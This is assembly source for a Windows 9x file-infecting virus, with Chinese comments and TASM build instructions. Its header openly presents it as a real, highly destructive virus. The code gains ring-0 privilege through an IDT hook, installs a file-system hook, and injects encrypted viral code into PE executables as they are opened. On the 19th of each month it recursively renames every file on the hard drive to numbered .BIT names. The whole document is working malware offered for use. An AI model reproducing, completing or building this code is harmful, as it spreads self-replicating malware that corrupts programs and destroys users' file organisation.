;*************************************************************** ;* 编者的话 * ;*-------------------------------------------------------------* ;* (1) 编译连接方法(用Tasm5.0编译器) * ;* tasm /m bit * ;* tlink32 bit * ;*-------------------------------------------------------------* ;* (2) 这是一个真正的病毒程序。仅供对病毒有浓厚兴趣的电脑发 * ;* 烧友研究之用。若有人用于恶意的传播,概与本人无关。 * ;*-------------------------------------------------------------* ;* (3) 本程序的破坏性极大,请不要轻易尝试。 * ;*-------------------------------------------------------------* ;* (4) 参考资料: * ;* CIH源程序,CAW源程序 * ;* MSDN文档,《Winows95系统编程的奥秘》 * ;*************************************************************** ;************************************************ ;* 这是一个可以感染Windows 9x系统的32位病毒程序 * ;************************************************ .586P .Model Flat .CODE ;************************ ;* 设置程序的运行状态 * ;************************ DEBUG = 0 ;****************** ;* VXD 功能调用 * ;****************** _PageAllocate = 00010053h IFSMgr_Ring0_FileIO = 00400032h UniToBCSPath = 00400041h IFSMgr_InstallFileSystemApiHook = 00400067h ;****************************************************************************** ;* * ;* 引导模块 * ;* * ;****************************************************************************** Start: @A = $ xchg eax,esi OriginalEntryPoint = $+1 mov eax,'PVOK' xor eax,esi[Key-@A] push eax IF DEBUG InterruptNumber = 05h ElSE InterruptNumber = 03h ENDIF push eax sidt [esp-02h] pop ebx add ebx,InterruptNumber*08h lea eax,esi[MyFaultHook-@A] push eax cli mov [ebx],ax shr eax,16 mov [ebx+6],ax sti pop eax ;*************************** ;* 产生中断以获得0特权级 * ;*************************** int InterruptNumber QuitMyProgram: pop eax ReturnFromMyProgram: ret db 0E0h ;************ ;* 数据区 * ;************ Key db 0 LocationTable dd SizeOfSectionB ; 段的大小 dd OffsetOfSectionB+401000h ; 段的虚地址 dd 0,0 dd 0,0 dd 0,0 ;************************* ;* 我的Ring0特权级代码 * ;************************* MyFaultHook: mov ecx,dr3 jecxz MyProgramIsNotInstalled iret MyProgramIsNotInstalled: xor eax,eax cdq push 0Fh ; flag push eax ; PhysAddr dec edx push edx ; maxPhys push eax ; minPhys push eax ; AlignMask push eax ; VM = 0 inc eax ; Let EAX = 1 push eax ; nType = PG_SYS(01h) push eax ; nPages = 1 int 20h dd _PageAllocate add esp,04h*08h test eax,eax jnz SuccessfullyAllocate iretd SuccessfullyAllocate: mov edi,eax pushad lea ebx,esi[LocationTable-Start] ; 获得定位表的基址 mov eax,esi[Key-@A-1] ; 获得解锁的密钥 ;****************************************** ;* 将病毒代码复制到已分配的系统内存区域 * ;****************************************** xor ecx,ecx mov cl,SizeOfSectionA cld rep movsb push edi NumberOfSections = $+1 mov dl,1 LoopOfTransferring: mov ecx,[ebx] mov esi,ebx[4] add ebx,8 call ConvertCode dec dl jnz LoopOfTransferring ret ;**************************************** ;* 加密/解密程序 * ;*--------------------------------------* ;* 入口参数: * ;* AH--密钥 * ;* ECX--要加密的字节数 * ;* ESI--待加密信息的起始地址 * ;* EDI--加密后的信息的存放地址 * ;**************************************** ConvertCode: @B = $ cld LoopOfConverting: lodsb xor al,ah stosb loop LoopOfConverting ret ;****************************************************************************** ;* * ;* 引导模块结束 * ;* * ;****************************************************************************** ;---------------------------- SizeOfSectionA = $-Start OffsetOfSectionB = $-Start ;---------------------------- ;****************************************************************************** ;* * ;* 功能模块 * ;* * ;****************************************************************************** SectionB: ;************************** ;* 安装IFSMgr的文件钩子 * ;************************** popad add eax,MyFileSystemApiHookFunction-Start mov esi,eax push eax int 20h dd IFSMgr_InstallFileSystemApiHook pop ecx test eax,eax jnz SuccessfullyInstallFileSystemApiHook iretd SuccessfullyInstallFileSystemApiHook: mov dr3,esi lea ecx,edi[PreFileSystemApiHook-Start] mov [ecx],eax ; 保存前一个文件钩子 dec byte ptr ecx[IsBusy-PreFileSystemApiHook] ; 设置我的文件钩子'空闲'标志 iretd ;********************** ;* 恢复旧的搜索路径 * ;********************** GetOldSearchPath: sub edi,ecx mov [edi],'*.*' ret ;********************** ;* 我的文件钩子函数 * ;********************** MyFileSystemApiHookFunction: ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; 当系统进入文件钩子函数处理时,堆栈的使用情况如下图所示 ; ______________________________ ; | Return EIP | Low Address ; |______________________________| ; | FSDFnAddr |---> 00h ; |______________________________| ; | FunctionNum |---> 04h ; |______________________________| ; | Drive |---> 08h ; |______________________________| ; | ResourceFlags |---> 0ch ; |______________________________| ; | CodePage |---> 10h ; |______________________________| ; | pir |---> 14h ; |______________________________| High Address ; ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ pushad ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; 执行指令'PUSHAD'后,堆栈的使用情况如下图所示 ; ______________________________ ; | EDI |---> ESP (Low Address) ; |______________________________| ; | ESI | ; |______________________________| ; | EBP | ; |______________________________| ; | ESP | ; |______________________________| ; | EDX | ; |______________________________| ; | ECX | ; |______________________________| ; | EBX | ; |______________________________| ; | EAX | ; |______________________________| ; | Return EIP |---> 20h ; |______________________________| ; | FSDFnAddr |---> 24h ; |______________________________| ; | FunctionNum |---> 28h ; |______________________________| ; | Drive |---> 2Ch ; |______________________________| ; | ResourceFlags |---> 30h ; |______________________________| ; | CodePage |---> 34h ; |______________________________| ; | pir |---> 38h (High Address) ; |______________________________| ; ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ call @C GetBaseAddressOfFileNameString: lea esi,edx[130h] cmp byte ptr [esi],0 jnz QuitGettingBaseAddressOfFileNameString lea esi,edx[2Ch] QuitGettingBaseAddressOfFileNameString: ret @C: pop edi add edi,VxdCall_IFSMgr_Ring0_FileIO-@C ; 在本模块中,EDI作为寻址的基址 mov ebp,esp cmp byte ptr edi[IsBusy-@D],00h ; 我的文件钩子"空闲"吗? jz MyFileSystemApiHookFunctionIsFree ;********************************** ;* 如果我的文件钩子函数正忙,则 * ;* 只调用FSD服务并且返回 * ;********************************** MyFileSystemApiHookFunctionIsBusy: push dword ptr ebp[38h] ; [EBP+38H]->FSD服务程序地址 call ebp[24h] pop ecx mov ebp[1Ch],eax ; 保存FSD服务的返回值 popad ret ;************************** ;* 我的文件钩子函数空闲 * ;************************** MyFileSystemApiHookFunctionIsFree: cmp dword ptr ebp[28h],36 ; FSD功能号是否为IFSFN_OPEN ? jnz GotoPreFileSystemApiHook inc byte ptr edi[IsBusy-@D] ; 设置我的文件钩子'忙'标志 mov edx,ebp[38h] mov edx,edx[0Ch] add edx,4 ; EDX指向Unicode路径 lea esi,edi[BcsWAnsiFileName] ; ESI指向存放转化后的普通ASCII路径的缓冲区 mov al,ebp[2Ch] cmp al,-1 ; 是否为UNC(Universal Naming Conversation)地址? jz CallUniToBCSPath add al,40h mov [esi],al inc esi mov byte ptr [esi],':' inc esi CallUniToBCSPath: xor ecx,ecx push ecx ; CharSet = BCS_WANSI push 07Fh ; 文件名缓冲区的最大长度 push edx ; Unicode字符串的基址 push esi ; 存放普通ASCII字符串的缓冲区的基址 int 20h dd UniToBCSPath add esp,04h*04h mov [esi+eax],cl cmp [esi+eax-4],'EXE.' ; 该文件是一个可执行文件吗? jnz AbortOnNoExecutableFile IF DEBUG cmp [esi+eax-8],'TSET' ; 是测试文件吗(在调试状态下有效)? jnz AbortOnNoExecutableFile ENDIF dec esi dec esi ; ESI指向普通ASCII字符串的基址 ; ############################ ; # My Triggered Execution # ; ############################ mov al,07h out 70h,al jmp $+2 in al,71h IFE DEBUG sub al,019h ; 判断日期 ELSE sub al,019h ENDIF jnz Exitance ;*********************************************** ;* 更名函数 * ;* 寄存器参数: * ;* ESI:指向当前路径字符串的开始 * ;* EDI:指向当前路径字符串的结尾 * ;* EDX:指向Win32_Find_Data结构 * ;*********************************************** IFE DEBUG inc dword ptr edi[DriveNumber-@D] ENDIF xchg ebp,edi lea edx,ebp[Win32_Find_Data] lea esi,ebp[Path] DriveNumber = $+2 IF DEBUG mov [esi],'*\:G' ELSE mov [esi],'*\:C' ENDIF mov dword ptr esi[4],"*." ; Search Path: 'G:\*.*',0 lea edi,esi[3] lea eax,ebp[QuitMyTrigger-@D] push eax ; 压入出口地址 ;**************************************** ;* 用递归法搜索硬盘上的所有目录及文件 * ;**************************************** ScanDisk: ;************************** ;** 查找文件及更改文件名 ** ;************************** mov ax,4E00h push 07h pop ecx call ebp jc NoMoreFiles xchg eax,ebx ;********************** ;* 形成替换的文件名 * ;********************** push esi push edi mov ecx,edi sub ecx,esi lea edi,ebp[ReplacingFileName] cld rep movsb mov eax,'0000' stosd mov eax,'TIB.' stosd mov [edi],cl pop edi pop esi SearchNextFile: ;************************ ;* 形成被替换的文件名 * ;************************ push edi push esi call GetBaseAddressOfFileNameString push 13 pop ecx cld rep movsb pop esi pop edi push edx lea edx,edi[ReplacingFileName-Path] mov eax,[edx] ;******************************* ;* 数字ASCII字符串自加一程序 * ;******************************* add eax,1 aaa push 03h pop ecx LoopOfAsciiInc: push eax lahf and ah,0EFh ; 清除'AF'标志 sahf pop eax pushfd ror eax,8 popfd aaa loop LoopOfAsciiInc ror eax,8 or eax,30303030h ;------------------------------------------------ ;------------------------------------------------ mov [edx],eax lea edx,ebp[ReplacingFileName] mov ax,5600h call ebp pop edx mov ax,4F00h call ebp jnc SearchNextFile mov ax,0DC00h call ebp NoMoreFiles: mov [edi],'*.*' ;------------------------------------------------ mov ax,4E00h mov cx,1016h call ebp xchg eax,ebx jc NoMoreDirectories call GetNewSearchPath jecxz SearchNextDirectory push ebx push ecx call ScanDisk pop ecx pop ebx call GetOldSearchPath SearchNextDirectory: mov ax,4F00h call ebp jc NoMoreDirectories call GetNewSearchPath jecxz SearchNextDirectory push ecx push ebx call ScanDisk pop ebx pop ecx call GetOldSearchPath jmp SearchNextDirectory NoMoreDirectories: mov ax,0DC00h call ebp ret ; ################################# ; # My Triggered Execution Ends # ; ################################# Exitance: ;************************************************* ;* 获取文件最后的修改日期/时间 * ;************************************************* ;* IFSMgr_Ring0_FileIO的4304号服务的功能是 * ;* 获得文件最后的的修改时间/日期。但事实上该服 * ;* 务只在CX中返回了修改时间。那么我们所关心的 * ;* 另外一个返回值在哪呢?幸运的是我们最终还是 * ;* 找到它了。它位于废弃的堆栈之中,线性地址为 * ;* [ESP-0B4h]。请注意,该ESP的值是执行指令 * ;* INT 20h VxdCall IFSMgr_Ring0_FileIO时的 * ;* ESP的值。 * ;************************************************* mov ax,4304h call edi shl ecx,16 mov cx,esp[-0B8h] mov edi[ReadingBuffer-14h],ecx ; ****************** ; * 获取文件属性 * ; ****************** xor eax,eax mov ah,43h ; GET_ATTRIBUTES xor ecx,ecx push eax call edi pop eax xchg ebx,ecx test bl,01h ; 该文件是只读文件吗? jz NotReadOnlyFile ; ****************************** ; * 将只读文件修改为普通文件 * ; ****************************** inc eax xor ecx,ecx call edi jc AbortOnModifyingAttributeFailure NotReadOnlyFile: push ebx ; 保存文件原来的属性 ; ********************* ; * 为读/写打开文件 * ; ********************* xor eax,eax mov ah,0D5h ; R0_OPENCREATFILE xor ecx,ecx ; Attributes = FILE_ATTRIBUTE_NORMAL(00h) cdq inc edx ; Action = FILE_OPEN(01h) mov ebx,edx inc ebx ; ModeAndFlags = OPEN_ACCESS_READWRITE(02h) call edi jc AbortOnOpeningFailure xchg ebx,eax ; 保存文件句柄到EBX ; ******************* ; * 读入DOS文件头 * ; ******************* xor eax,eax mov ah,0D6h ; R0_READFILE push 40h pop ecx ; DOS文件头的大小 cdq ; 读操作的起始位置 lea esi,edi[ReadingBuffer] ; ESI指向读入缓冲区 push eax call edi pop eax ;************************ ;* 读入NT文件头及节表 * ;************************ mov edx,esi[3Ch] ; IMAGE_DOS_HEADER[3Ch]指向新的EXE文件头的偏移地址 mov esi[-0Ch],edx ; 保存NT文件头的偏移地址 mov ecx,378h ; 378h为NT文件头及节表数组的大小 call edi cmp dword ptr [esi],00004550h ; 该文件是一个PE格式的可执行文件吗? jnz Abort ;************************** ;* 检查文件是否已被感染 * ;************************** cmp word ptr esi[0FEh],'CR' ; 'RC'是文件已被感染或者文件没有足够剩余空间的标志 jz Abort movzx eax,word ptr esi[06h] ; IMAGE_NT_HEADERS[06h]->NumberOfSections mov ecx,eax xchg ebp,edx ; EDX为NT文件头的偏移 cdq mov dl,28h mul edx add eax,0F8h mov edi[ReadingBuffer-10h],eax ; 保存NT文件头及节表数组的实际尺寸 add eax,ebp ; 计算PE文件头中空闲空间的偏移地址 mov esi[-08h],eax ; 保存PE文件头中空闲空间的偏移地址 xchg ecx,ebp ; EBP=NumberOfSections mov edx,esi[10Ch] ; IMAGE_NT_HEADERS[10Ch]->PointerToRawData mov esi[54h],edx ; IMAGE_NT_HEADERS[054h]->SizeOfHeaders sub edx,eax ; 获得空闲空间的大小 mov esi[-04h],edx ;------------------------------------------------ lea eax,esi[100h] xor ecx,ecx mov cl,SizeOfSectionA mov edx,eax[08h] sub edx,[eax] cmp edx,ecx jb RemainNoSpaceForSectionA mov edx,[eax] ; [EAX]->VirtualSize add edx,eax[04h] ; [EAX+4]->VitualAddress xchg esi,edx ; 保存新的入口地址的RVA ;------------------------------------------------ mov edx,eax[0Ch] add edx,[eax] add [eax],ecx jmp InsertSectionB RemainNoSpaceForSectionA: cmp edi[ReadingBuffer-04h],ecx jb AbortOnInsufficientSpace mov edx,edi[ReadingBuffer-08h] mov esi,edx add edi[ReadingBuffer-08h],ecx ; 调整空闲空间的偏移 sub edi[ReadingBuffer-04h],ecx ; 调整空闲空间的尺寸 InsertSectionB: push esi push edx ; 保存插入位置的偏移地址 push ecx push 0 ; 压入结束标志 mov edi[ReadingBuffer-18h],ebx ; 保存EBX xor ebx,ebx mov ecx,SizeOfSectionB ;************************************ ;* 为我的程序的'功能模块'寻找空间 * ;************************************ ; _____________________ ;| | ;| Name | ;|_____________________| ;| |--->000h (EAX) ;| VirtualSize | ;|_____________________| ;| |--->004h ;| VirtualAddress | ;|_____________________| ;| |--->008h ;| SizeOfRawData | ;|_____________________| ;| |--->00Ch ;| PointerToRawData | ;|_____________________| ;| |--->010h ;| PointerToRelocations| ;|_____________________| ;| |--->014h ;| PointerToLinenumbers| ;|_____________________| ;| |--->018h ;| NumberOfRelocations | ;|_____________________| ;| |--->01Ah ;| NumberOfLinenumbers | ;|_____________________| ;| |--->01Ch ;| Characteristics | ;|_____________________| LoopOfInsertingSectionB: mov edx,eax[08h] ; [EAX+08h]->SizeOfRawData sub edx,[eax] ; 计算SizeOfRawData和VirtualSize的差(该差值即为该节中剩余空间的大小) jb SearchNextSection ; 防止处理 '.data'节时发生错误 cmp edx,ecx jb LessSpaceThanNeeded mov edx,ecx jmp SaveParameter LessSpaceThanNeeded: cmp edx,100 jb SearchNextSection xchg ecx,edx SaveParameter: ;--------------------------------------------------- mov esi,eax[04h] add esi,edi[ReadingBuffer+34h] add esi,[eax] push esi ; 保存该段的虚地址 ;--------------------------------------------------- mov esi,eax[0Ch] ; [EAX+0Ch]->PointerToRawData add esi,[eax] ; 获得该段插入位置的偏移地址 push esi ; 保存该段插入位置的偏移地址 ;-------------------------------------------------- add [eax],ecx ;--------------------------------------------------- push ecx ; 保存该段的大小 sub edx,ecx xchg ecx,edx ; 计算还有多少字节未写入 ;-------------------------------------------------- inc ebx jecxz WriteSectionB cmp bl,03h jz SearchSpaceInFileHeader SearchNextSection: add eax,28h dec ebp jnz LoopOfInsertingSectionB SearchSpaceInFileHeader: cmp edi[ReadingBuffer-04h],ecx jnb FindSpace ;------------------------------------------------ xchg ecx,ebx xchg ebx,edi[ReadingBuffer-18h] ;------------------------------------------------ push 12 pop eax mul ecx add eax,16 add esp,eax ;------------------------------------------------ jmp AbortOnInsufficientSpace FindSpace: mov eax,edi[ReadingBuffer-08h] mov edx,eax add edx,edi[ReadingBuffer+34h] push edx ; 保存最后一段的虚地址 push eax ; 保存最后一段插入位置的偏移地址 push ecx ; 保存最后一段的大小 inc ebx WriteSectionB: ;************************************ ;* 将我的程序代码传送到写入缓冲区 * ;************************************ lea edx,edi[ConvertCode-@D] mov edx[Key-@B],ah mov ecx,SizeOfSectionB lea esi,edi[WritingBuffer] push edi lea edi,edx[SectionB-@B] xchg esi,edi call edx pop ebp xchg esi,edi ;------------------------------------------------ xchg ecx,ebx xchg ebx,ebp[ReadingBuffer-18h] ; 恢复EBX ;------------------------------------------------ mov edx[NumberOfSections-@B],cl ; 保存功能模块被分成的段数 lea edi,[edx+LocationTable-@B+8*ecx-4] LoopOfWritingSectionB: mov ax,0D601h pop ecx jecxz FinishWritingSectionB pop edx sub esi,ecx call ebp pop eax std stosd xchg eax,ecx stosd jmp LoopOfWritingSectionB FinishWritingSectionB: xchg ebp,edi ;******************************* ;* 获得并保存原程序的入口地址 * ;******************************* lea ebp,edi[ReadingBuffer] mov eax,ebp[34h] ; IMAGE_NT_HEADERS[34h]->ImageBase add eax,ebp[28h] ; IMAGE_NT_HEADERS[28h]->AddressOfEntryPoint lea esi,edi[Start-@D] lea ecx,esi[ReturnFromMyProgram-@A] mov byte ptr [ecx],0FFh ; 产生一条'JMP EAX'指令以便将控制权交还给原程序 add ecx,OriginalEntryPoint-ReturnFromMyProgram ;************************** ;* 加密原程序的入口地址 * ;************************** xor eax,esi[Key-@A] mov [ecx],eax ;************************** ;* 插入病毒的'引导模块' * ;************************** mov ax,0D601h pop ecx pop edx call edi pop eax mov edi[ReadingBuffer+28h],eax ; 修改程序的入口地址 ;************************** ;* 修改原程序的NT文件头 * ;************************** AbortOnInsufficientSpace: mov word ptr edi[ReadingBuffer+0FEh],'CR' ; 设置感染标志 mov ax,0D601h mov ecx,edi[ReadingBuffer-10h] mov esi,ebp mov edx,edi[ReadingBuffer-0Ch] call edi jmp CloseFile Abort: xor ecx,ecx ;************** ;* 关闭文件 * ;************** CloseFile: xor eax,eax mov ah,0D7h call edi ;********************************** ;* 恢复文件最后的修改日期/时间 * ;********************************** jecxz RestoreFileAttribute lea esi,edi[BcsWAnsiFileName] xchg edi,ebx mov ax,4303h mov ecx,ebx[ReadingBuffer-12h] mov edi,ebx[ReadingBuffer-14h] call ebx xchg edi,ebx AbortOnOpeningFailure: ;****************** ;* 恢复文件属性 * ;****************** RestoreFileAttribute: pop ecx mov ax,4301h test cl,01h jz NotRestoreFileAttribute call edi AbortOnNoExecutableFile: AbortOnModifyingAttributeFailure = $ QuitMyTrigger = $ NotRestoreFileAttribute = $ call @E ;**************************************** ;* 根据查找的结果形成一个新的搜索路径 * ;**************************************** GetNewSearchPath: push esi call GetBaseAddressOfFileNameString xor ecx,ecx cmp byte ptr [esi],'.' ; 在DOS系统中,'.'表示当前目录,'..'表示父目录 jz QuitGettingNewPath cld LoopOfGettingNewPath: lodsb test al,al jz ReachEndOfString stosb inc ecx jmp LoopOfGettingNewPath ReachEndOfString: mov byte ptr [edi],'\' inc edi mov [edi],'*.*' inc ecx QuitGettingNewPath: pop esi ret @E: pop edi dec byte ptr edi[IsBusy-@E] ; 设置我的文件钩子'空闲'标志 GotoPreFileSystemApiHook: popad PreFileSystemApiHook = $+2 jmp ds:['PVOK'] VxdCall_IFSMgr_Ring0_FileIO: @D = $ int 20h dd IFSMgr_Ring0_FileIO ret ;******************** ;* Data Section A * ;******************** IsBusy db 1 ;*************************************************** ;* 动态数据区 * ;*-------------------------------------------------* ;* 本区域中的数据不占用任何磁盘空间,它们位于程 * ;* 序引导时申请的系统内存区域 * ;*************************************************** ;******************************************* Path = $-@D+48h ReplacingFileName = Start-@D+0700h Win32_Find_Data = Start-@D+0C00h ;******************************************* BcsWAnsiFileName = Start-@D+0A00h ReadingBuffer = $-@D+28h ; (Relative To EDI) WritingBuffer = Start-@D+0B00h ; (Relative To EDI) ;******************************************* SizeOfSectionB = $-SectionB ; 我的程序申请的系统内存区域的使用情况 ; _________________________ ; | |---> OFFSET 0 ; | Section One | ==> offset 0: My Program Code ; | | ; | | ; | | ; | | ; | | ; | | ==> Save EBX Register (ReadingBuffer-18h) ; | | ==> Last Write Date/Time (ReadingBuffer-14h) ; | | ==> Size Of Section Array (ReadingBuffer-10h) ; | | ==> PE Header RVA (ReadingBuffer-0Ch) ; | | ==> Pointer To Free Space (ReadingBuffer-08h) ; |_________________________| ==> Size Of Free Space (ReadingBuffer-04h) ; | |---> OFFSET ???H ; | Section Two | ==> offset 0: Reading Buffer ; | | ; |_________________________| ; | |---> OFFSET 800H ; | Section Three | ==> offset 0: Ansi File Name ; | | ; | | ; | | ; |_________________________| ; | |---> OFFSET C00H ; | | ==> offset 0: Writing Buffer ; | | ; | Section Four | ; | | ; |_________________________| ;****************************************************************************** ;* * ;* 功能模块结束 * ;* * ;****************************************************************************** MyProgramSize = $-Start END Start ;******************************************************** ;* SUMARY * ;* This program can do the following thing: * ;* (1) Get ring0 previliege * ;* (2) Install FileSystemApiHook * ;* (3) My FileSystemApiHook run steadily * ;* (4) The second part of my code is encrypted * ;* (5) The program will be activated on the 19th * ;* day of every month.After it has been * ;* activated,it will search all harddisk drive * ;* except C for all files and rename them with * ;* a new file name with the extansion '.BIT'. * ;******************************************************** 
|